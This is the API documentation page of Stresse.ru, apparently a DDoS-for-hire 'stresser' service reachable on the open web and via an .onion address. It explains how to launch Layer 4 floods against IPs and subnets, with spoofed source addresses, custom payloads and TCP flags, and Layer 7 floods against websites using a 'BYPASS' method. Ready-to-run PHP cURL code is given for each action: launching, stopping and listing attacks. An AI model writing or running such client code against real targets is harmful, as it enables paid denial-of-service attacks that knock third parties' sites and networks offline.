Apihelp
API
Stresse.ru API Introduction
Stresse.ru API can be accessed through the following domains:
https://stresse.ru/api/api.php
http://ecwvi3cd6h27r2kjx6ur6gdi4udrh66omvqeawp3dzqrtfwo432s7myd.onion/api/api.php
All requests are HTTPs GET, our API responds with JSON response containing a success boolean and other data regarding the request.
To use our API, your plan must have API enabled before ordering. If you already have a plan and want to upgrade to API please contact support.
API Inititation
Set Key and Action
key=[KEY]&action=[ACTION]
The first step to using our API is inputting your private API key and the desired action.
Parameter | Type | Description | Values | Required |
---|---|---|---|---|
|
String | API action to be executed | layer4, layer7, stop, stopall, running |
|
|
String | Private Key used to authenticate the API | See Account page |
Example URL:
API Actions
Launch Layer 4 Attack
action=layer4
This action launches a Layer 4 attack, which targets IPv4 or CIDR addresses, a unique ID is given back in the API response for the attack to be stopped later if desired.
Parameter | Type | Description | Example | Required |
---|---|---|---|---|
|
String | The target IPs/Subnets to be stress tested (Multiple supported: Separate by comma) | 0.0.0.0, 0.0.0.0/24 |
|
|
Int | The target Port to be stress tested, set port to 0 for randomized ports | 3074, 0 |
|
|
Int | Time the stress test will be executed for in seconds | 120 |
|
|
String | Method used to stress test the target (See Methods) | DNS |
|
|
Int | Power percentage to be used in the stress test (from 0.01-100) | 99.5 |
|
|
Int | Amount of concurrents to use per attack (Maximum 10 per request) | 1 |
|
|
String | Source ISP/IPs/Subnets of the stress test, can be IPv4 or CIDR (Multiple supported: Separate by comma) | 0.0.0.0, 0.0.0.0/24, Valve |
|
|
Int | Source Port of the stress test, set source port to 0 for randomized ports | 80, 0 |
|
|
String | Hexadecimal string of payload to be sent in the stress test | 0102030405FF |
|
|
String | TCP flags to be sent separated by comma | syn,ack |
|
|
Int | TCP Options (0-11) | 1 |
|
|
String | Locales of IPs to use seperated by comma (Can use multiple combinations of different country codes/regions) | all,asia,europe,cn,us |
Example URL:
Example JSON Response:
PHP cURL code:
<?php
$ch = curl_init("https://stresse.ru/api/api.php?key=[KEY]&action=layer4&host=0.0.0.0&port=80&time=120&method=DNS");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code == 200 && ($json = json_decode($response)) && isset($json->status)){
die("Success: {$json->status}, {$json->body}, Attack ID: {$json->attack_id}");
} else {
die("Your connection to API failed (Error {$http_code}), check your connection and try again");
}
?>
Launch Layer 7 Attack
action=layer7
This action launches a Layer 7 attack, which targets URLs (websites), a unique ID is given back in the API response for the attack to be stopped later if desired.
Parameter | Type | Description | Example | Required |
---|---|---|---|---|
|
String | The target URL to be stress tested | https://website.com, http://website.com |
|
|
Int | The target Port to be stress tested | 80, 443 |
|
|
Int | Time the stress test will be executed for in seconds | 120 |
|
|
String | Method used to stress test the target (See Methods) | BYPASS |
|
|
String | Optional Post Data to be sent, sending no post data assumes it is GET | user=wilson&password=wilson1 |
|
|
String | Optional Cookie to be sent | abc=defg; |
|
|
String | Optional Referer to be sent | https://google.com |
|
|
String | Optional User-Agent to be sent | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0 |
|
|
Int | Optional Requests per Second | 32 |
|
|
Int | Optional Request Delay (ms) | 250 |
|
|
Int | Optional Connections per IP | 1 |
Example URL:
Example JSON Response:
PHP cURL code:
<?php
$ch = curl_init("https://stresse.ru/api/api.php?key=[KEY]&action=layer7&host=https://website.com&port=443&time=120&method=BYPASS");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code == 200 && ($json = json_decode($response)) && isset($json->status)) {
die("Success: {$json->status}, {$json->body}, Attack ID: {$json->attack_id}");
} else {
die("Your connection to API failed (Error {$http_code}), check your connection and try again");
}
?>
Stop Attack (Without ID)
action=stop
This action stops a stress test by using host, port, time and method. These parameter values must be the same values as when the attack was launched. It is advised you stop floods using an ID (see below) instead of this method.
Parameter | Type | Description | Example | Required |
---|---|---|---|---|
|
String | Host to be stopped | https://website.com, 0.0.0.0 |
|
|
Int | Port to be stopped | 80, 443 |
|
|
Int | Time to be stopped | 120 |
|
|
String | Method to be stopped | BYPASS |
Example URL:
Example JSON Response:
PHP cURL code:
<?php
$ch = curl_init("https://stresse.ru/api/api.php?key=[KEY]&action=stop&host=https://website.com&port=443&time=120&method=BYPAS");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code == 200 && ($json = json_decode($response)) && isset($json->status)){
die("Success: {$json->status}, {$json->body}");
} else {
die("Your connection to API failed (Error {$http_code}), check your connection and try again");
}
?>
Stop Attack (With ID)
action=stop
This action stops a stress test by using a unique ID, the unique ID is given in the API response after a successful stress test was sent.
Parameter | Type | Description | Example | Required |
---|---|---|---|---|
|
String | Unique ID of the stress test to be stopped, this ID is given in the API response once a successful stress test has been launched | 12345 |
Example URL:
Example JSON Response:
PHP cURL code:
<?php
$ch = curl_init("https://stresse.ru/api/api.php?key=[KEY]&action=stop&id=66476a6b6b474d4272734b424d415543");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code == 200 && ($json = json_decode($response)) && isset($json->status)) {
die("Success: {$json->status}, {$json->body}");
} else {
die("Your connection to API failed (Error {$http_code}), check your connection and try again");
}
?>
Stop All Attacks
action=stopall
This action stops all running stress tests, if any. Append &id[]=ID to only stop specific IDs.
Example: &id[]=some_id&id[]=some_other_id
Example URL:
Example JSON Response:
PHP cURL code:
<?php
$ch = curl_init("https://stresse.ru/api/api.php?key=[KEY]&action=stopall");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code == 200 && ($json = json_decode($response)) && isset($json->status)){
die("Success: {$json->status}, {$json->body}");
} else {
die("Your connection to API failed (Error {$http_code}), check your connection and try again");
}
?>
Get Running Attacks
action=running
This action lists all running stress tests with there IDs and other attack information.
Example URL:
Example JSON Response:
PHP cURL code:
<?php
$ch = curl_init("https://stresse.ru/api/api.php?key=[KEY]&action=running");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($http_code == 200 && ($json = json_decode($response)) && isset($json->status)) {
die("Success: {$json->status}, {$json->body}");
} else {
die("Your connection to API failed (Error {$http_code}), check your connection and try again");
}
?>